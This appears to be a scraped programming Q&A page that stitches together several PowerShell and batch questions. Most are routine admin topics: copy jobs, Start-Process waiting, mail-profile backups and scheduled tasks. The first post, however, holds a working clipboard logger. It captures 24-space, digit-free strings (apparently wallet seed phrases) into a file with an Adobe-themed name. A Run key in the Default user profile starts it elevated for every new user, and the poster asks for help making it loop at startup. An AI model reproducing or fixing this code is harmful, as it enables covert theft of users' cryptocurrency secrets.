I run these commands manually in an elevated cmd prompt to create a Run key in registry
reg.exe load HKU\TempHive "C:\Users\Default\NTUSER.Dat"
reg add HKEY_USERS\TempHive\Software\Microsoft\Windows\CurrentVersion\Run /v CLIP /t REG_SZ /d "C:\Adobe\test\runps.cmd" /f
reg.exe unload HKU\TempHive
It links to runps.cmd which looks like this
ping 127.0.0.1 -n 30 > nul
PowerShell -NoProfile -ExecutionPolicy Bypass -Command "& {Start-Process PowerShell -ArgumentList '-NoProfile -ExecutionPolicy Bypass -File ""C:\Adobe\test\Untitled2.ps1""' -Verb RunAs}"
Which links to Untitled2.ps1 which looks like this
New-Item -Path 'C:\Adobe\test' -ItemType Directory
New-Item C:\Adobe\test\AdobeHelp.txt -ItemType file
while($true){
$cclip2 = Get-Clipboard
$wordcount2 = $cclip2
$containsdigits2 = $cclip2 -match ".*\d+.*"
$countresult2=([regex]::Matches($wordcount2, " " )).count
if ($countresult2 -eq "24" -And $cclip2 -ne $cclip3 -And $containsdigits2 -eq 0) {$cclip2 >> C:\Adobe\test\AdobeHelp.txt}
Start-Sleep -Seconds 2
$cclip3 = Get-Clipboard
$wordcount = $cclip3
$containsdigits3 = $cclip3 -match ".*\d+.*"
$countresult=([regex]::Matches($wordcount, " " )).count
if ($countresult -eq "24" -And $cclip3 -ne $cclip2 -And $containsdigits3 -eq 0) {
$cclip3 >> C:\Adobe\test\AdobeHelp.txt
}
Start-Sleep -Seconds 2
}
The problem, is if "Untitled2.ps1" is run at startup via TaskSchedular, or via "runps.cmd" via the regkey I create in step 1, it doesnt function correctly, it does run because the directory and the file that I ask it to create are created, ie.
New-Item -Path 'C:\Adobe\test' -ItemType Directory New-Item
C:\Adobe\test\AdobeHelp.txt -ItemType file
But the function inside the while($true){ parenthesis either runs once or not at all (im not sure) either way it definietely doesnt loop, If I run the script "Untitled2.ps1" OR "runps.cmd" MANUALLY, the script functions fine.
Related
I have a PowerShell script that calls an executable EMCopy64.exe with a set of variables and command line switches Here is the script:
<#
This script will take values from a CSV file that has a list of items broken into three columns
EXAMPLE
Folder,Source,Destination
parapps,\\eme-fs01\c$\paraps\paraps,\\eur-pdfs01\c$\vol_paraps
#>
$copyFiles = Get-ChildItem -Path D:\netapp_copy\csv -Name *.csv
$fileCount = $copyFiles.count
# This is to send the alert emails
$anonUsername = "anonymous"
$anonPassword = ConvertTo-SecureString -String "anonymous" -AsPlainText -Force
$anonCredentials = New-Object System.Management.Automation.PSCredential($anonUsername,$anonPassword)
$fileNameDateTime = Get-Date -Format "MM-dd-yyyy HH-mm-ss"
$startDateTime = Get-Date -Format "MM-dd-yyyy HH:mm:ss"
$scriptLog = New-Item -Path D:\netapp_copy\csv\scriptlog\$($fileNameDateTime).log
Add-Content -Path $scriptLog -Value "Starting the script at $startDateTime"
Add-Content -Path $scriptLog -Value "Found $($copyFiles.count) files in the directory"
foreach ($cf in $copyFiles) {
$copyValues = Import-Csv -Path D:\netapp_copy\csv\$cf
$DateTime = Get-Date -Format "yyyy-dd-MM-HH-mm-ss"
$folder = $($copyValues.folder)
$sour = $($copyValues.Source)
$dest = $($copyValues.Destination)
Add-Content -Path $scriptLog -Value "$DateTime Starting copy of folder $folder"
$log = "D:\netapp_copy\log\$($folder)-$($dateTime).txt"
$stdout = "D:\netapp_copy\log\$($folder)-$($dateTime).out"
Add-Content -Path $scriptLog -Value "Log file is $log"
Add-Content -Path $scriptLog -Value "Error log file is $stdout"
$copyCMD = "D:\netapp_copy\emcopy64.exe $sour $dest *.* /s /o /de /r:1 /w:1 /c /th 128 /log:$log >>$stdout"
Add-Content -Path $scriptLog -Value "Command is $copyCMD"
D:\netapp_copy\emcopy64.exe $sour $dest *.* /s /o /de /r:1 /w:1 /c /th 128 /log:$log >>$stdout
$erred = get-content $log
$CheckIfBad = $erred | %{$_ -match " ERROR "}
if ($CheckIfBad -contains $true) {
$emailParms = #{
From = 'Script#file.copy.com'
To = 'toaddress'
credential = $anonCredentials
SmtpServer = 'SMTPServer'
Subject = "Error in EMCopy64 copy process of $folder"
Body = "Check the log file $log"
}
Send-MailMessage #emailParms -WarningAction SilentlyContinue
}
}
$endDateTime = Get-Date -Format "MM-dd-yyyy HH:mm:ss"
Add-Content -Path $scriptLog -Value "Script finished at $endDateTime"
The critical command is:
D:\netapp_copy\emcopy64.exe $sour $dest *.* /s /o /de /r:1 /w:1 /c /th 128 /log:$log >>$stdout
The complete command resolves to:
D:\netapp_copy\emcopy64.exe \\ame-eds02\c$\AME_EDS02_AF001\q_AME_EDS02_AF001 \\nam-pdeds02\c$\AF001 *.* /s /o /de /r:1 /w:1 /c /th 128 /log:D:\netapp_copy\log\AF001-2020-29-09-08-49-31.txt >>D:\netapp_copy\log\AF001-2020-29-09-08-49-31.out
Or variants of this. When I run it in a PowerShell ISE terminal it runs correctly with no errors. However when I run it from the task scheduler or a command window get the EMCopy command opening as many windows as there are items in the loop all at once. It is not waiting for the previous command to finish running before running the next.
What must I do to prevent this from happening? I tried the suggestions here but all that resulted in was the command failing in all of the windows because it did not recognize the arguments.
I am currently trying to run a .bat file on around 150 servers. I can get the script to run through as if there's no issues - the .bat copies to the servers, however it does not seem to be executing at all.
Running on windows 2012 servers mainly.
#Variables
$servers = "D:\Apps\Davetest\servers.txt"
$computername = Get-Content $servers
$sourcefile = "D:\Apps\Davetest\test.bat"
#This section will install the software
foreach ($computer in $computername)
{
$destinationFolder = "\\$computer\C$\Temp"
<#
It will copy $sourcefile to the $destinationfolder. If the Folder does
not exist it will create it.
#>
if (!(Test-Path -path $destinationFolder))
{
New-Item $destinationFolder -Type Directory
}
Copy-Item -Path $sourcefile -Destination $destinationFolder
Invoke-Command -ComputerName $computer -ScriptBlock {Start-Process 'c:\Temp\test.bat'}
}
I am looking for it to run the .bat once it hits the servers and currently it only seems to be copying over.
That's because Start-Process immediately returns. Use the -Wait Parameter.
Start-Process -FilePath 'c:\Temp\test.bat' -NoNewWindow -Wait -PassThru
microsoft:
-PassThru
Returns a process object for each process that the cmdlet started. By default, this cmdlet does not generate any output.
-Wait
Indicates that this cmdlet waits for the specified process and its descendants to complete before accepting more input. This parameter suppresses the command prompt or retains the window until the processes finish.
-PassThru returns you a process object, where you can check the ExitCode parameter:
$p = Start-Process -FilePath your_command -ArgumentList "arg1", "arg" -NoNewWindow -Wait -PassThru
if ($p.ExitCode -ne 0) {
throw "Failed to clone $buildItemName from $buildItemUrl to $($tmpDirectory.FullName)"
}
As an alternative to Start-Process you could also use Invoke-Expression which will return you the stdout of the console.
To check if Invoke-Expression was successful you can use:
$output = Invoke-Expression $command
if ((-not $?) -or ($LASTEXITCODE -ne 0)) {
throw "invoke-expression failed for command $command. Command output: $output"
}
Everytime my Powershellscript is calling the Batchfile, a new Powershell Window opens. How can i modify the script in order to avoid the new window opens? I've tried with -windowstyle hidden and NoNewWindow, but nothing works.
Here is the Batchfile that starts my Powershell Script:
#echo off
set scriptFileName=%~n0
set scriptFolderPath=%~dp0
set powershellScriptFileName=test.ps1
powershell.exe -windowstyle hidden -Command "Start-Process powershell \"-ExecutionPolicy Bypass -NoProfile -NoExit -Command `\"cd \`\"C:\Temp\`\"; & \`\".\test.ps1\`\"`\"\" -Verb RunAs"
And here is my Powershell Script:
$Source = "C:\Program Files\Planmeca\Romexis\client\cephmodule\analyses"
$Destination = "\\PRENCIPE-THINK\PDATA\analyses" #<------ UNC PFAD FUER DEN SERVER ANPASSEN!!
New-Item -ItemType directory -Path $Destination -Force
Copy-Item -Path $Source\*.* -Destination $Destination -Force -Recurse
(ROBOCOPY $Source $Destination /MIR /W:30 /R:10)
# Ueberpruefe den Ordner auf veraenderungen
# Fuehre den Script aus bei Aenderung oder Umbennenung
$watcher = New-Object System.IO.FileSystemWatcher
$watcher.Path = 'C:\Program Files\Planmeca\Romexis\client\cephmodule\analyses'
$watcher.IncludeSubdirectories = $true
$watcher.EnableRaisingEvents = $false
$watcher.NotifyFilter = [System.IO.NotifyFilters]::LastWrite -bor [System.IO.NotifyFilters]::FileName
while($TRUE){
$result = $watcher.WaitForChanged([System.IO.WatcherChangeTypes]::Changed -bor [System.IO.WatcherChangeTypes]::Renamed -bOr [System.IO.WatcherChangeTypes]::Created, 1000);
if($result.TimedOut){
continue;
}
write-host "Change in " + $result.Name
$A = Start-Process -WindowStyle Hidden -FilePath c:\temp\Bypass.bat -Wait -passthru ;$a.ExitCode
}
Try the '-NoNewWindow' switch. I'm running PS Version 5.1 on Windows 7 and it's available. If you're running an earlier iteration if WMF, you may want to update your machines to 5 or better.
I have the following shutdown script:
Stop-Process -ProcessName Thunderbird* -Force -ErrorAction 'silentlycontinue'
Stop-Process -ProcessName Outlook* -Force -ErrorAction 'silentlycontinue'
$personname= ([adsi]"WinNT://$env:userdomain/$env:username,user").fullname
$res=Test-Path "\\cd2012\backup\$personname"
if ($res -eq $False)
{
New-Item -ItemType directory -Path "\\cd2012\backup\$personname"
Import-Csv \\cd2012\backup\lista.csv -Encoding UTF8 -Delimiter ";" -Header Name,User,Attribute
if ($_.Attribute -ne "T" -and $_.User -eq $env:username)
{
& c:\windows\system32\Robocopy.exe "$env:LOCALAPPDATA\Microsoft\Outlook\" "\\cd2012\backup\$personname" /E /MT:20 /R:50 /W:10 /V /ETA
}
else
{
& c:\windows\system32\Robocopy.exe "$env:APPDATA\Thunderbird\Profiles\" "\\cd2012\backup\$personname" /E /MT:20 /R:50 /W:10 /V /ETA
}
Set-ItemProperty -Path "\\cd2012\backup\$personname" -Name LastWriteTime -Value $(Get-Date)
}
else
{
$wts=Get-Item "\\cd2012\backup\$personname" | Foreach {$_.LastWriteTime}
if ($wts -gt (Get-Date).AddDays(2))
{
Import-Csv \\cd2012\backup\lista.csv -Encoding UTF8 -Delimiter ";" -Header Name,User,Attribute
if ($_.Attribute -ne "T" -and $_.User -eq $env:username)
{
& c:\windows\system32\Robocopy.exe "$env:LOCALAPPDATA\Microsoft\Outlook\" "\\cd2012\backup\$personname" /E /MT:20 /R:50 /W:10 /V /ETA
}
else
{
& c:\windows\system32\Robocopy.exe "$env:APPDATA\Thunderbird\Profiles\" "\\cd2012\backup\$personname" /E /MT:20 /R:50 /W:10 /V /ETA
}
Set-ItemProperty -Path "\\cd2012\backup\$personname" -Name LastWriteTime -Value $(Get-Date)
}
}
The CSV file contains the following
Bob;User1;
John;User2;
Mike;User3;T
George:User4;T
This script basically makes backup copies of folders every 2 days. The issue I am having is checking the username and attribute when it comes to deciding if the client has Outlook or Thunderbird. If the user has the "T" attribute, I know he has Thunderbird, so I should copy from the Thunderbird location. If he does not, I should copy from the Outlook location.
I know all my clients have the same default location because I am the only the configures it.
You could simplify your script to something like this:
Stop-Process -ProcessName Thunderbird* -Force -ErrorAction 'silentlycontinue'
Stop-Process -ProcessName Outlook* -Force -ErrorAction 'silentlycontinue'
$personname= ([adsi]"WinNT://$env:userdomain/$env:username,user").fullname
$robocopyExe = join-Path $env:windir 'system32\Robocopy.exe'
$backupFolder = Join-Path '\\cd2012\backup\' $personname
# ensure the backup target is present
New-Item -ItemType directory -Path $backupFolder -Force | out-null
$thunderbirdDir = Join-Path $env:APPDATA 'Thunderbird\Profiles'
$outlookDir = Join-Path $env:LOCALAPPDATA 'Microsoft\Outlook'
if (Test-Path $thunderbirdDir)
{
& $robocopyExe $thunderbirdDir $backupFolder /E /MT:20 /R:50 /W:10 /V /ETA /minage:2
}
if (Test-Path $outlookDir)
{
& $robocopyExe $outlookDir $backupFolder /E /MT:20 /R:50 /W:10 /V /ETA /minage:2
}
Note: The two day copy skip is controlled using Robocopy /minage Parameter.
I am trying to run a powershell script on the task scheduler but am unable to understand the suitable logging command for my script. I want to get this to run on the schedule.
The script would delete the files and folders older than x days and would create an output log.
function Out-Log {
param (
[Parameter(Mandatory=$true,ValueFromPipeline=$true)]
[string]$message,
[switch]$Error
)
$logPath = $env:TEMP + "\Filedeletion.log"
$message | Out-File -FilePath $logPath -Append
}
trap
{
"error:" | Out-Log
$_.exception.message | Out-Log
break
}
$Error.Clear()
try
{
"Starting" | Out-Log
$DateToDelete = 1
$dateLimit = (Get-Date).AddDays(-$DateToDelete)
$StartFolder = "c:\TEST1"
Get-ChildItem -Recurse -Force -Path $StartFolder |
foreach {
$currentItemIsFolder = $_.PsIsContainer;
$curentItemIsOld = $_.LastWriteTime -lt $dateLimit
if ($curentItemIsOld -and (-not $currentItemIsFolder))
{
"Removing '$($_.fullname)'." | Out-Log
Remove-Item -Path ($_.fullname) -Force -WhatIf
}
}
}
finally
{
if ($Error)
{
"`$error stack:" | Out-Log
$error | foreach {$_.exception.ToString() | Out-Log}
}
"Stopping" | Out-Log
}
I was trying to use
Powershell -file "c:\Powershell\Filedeletion_logs_test.ps1"
via batch to run the powershell.
I've tried to check the commands in Powershell/? but did not find any suitable logging command working for my script.
Can anyone please help?
You do not need a separate batch file that runs the powershell in the task schedule. All you need is this nice tutorial. It is detailed step by step, but is very easy to setup.
http://community.spiceworks.com/how_to/show/17736-run-powershell-scripts-from-task-scheduler
Can't you do the same thing with SCHTASKS?
http://ss64.com/nt/schtasks.html
You should be able to pipe a list of servers through a TYPE command and add the tasks to the server set.
For example:
http://www.robvanderwoude.com/ntadmincommands.php
FOR /F %%A IN (servers.txt) DO (
SCHTASKS /CREATE /S %%A /U "system" /P "" /TN "Powershell Task" /TR "Powershell -file \"c:\my folder\script.ps1\""
)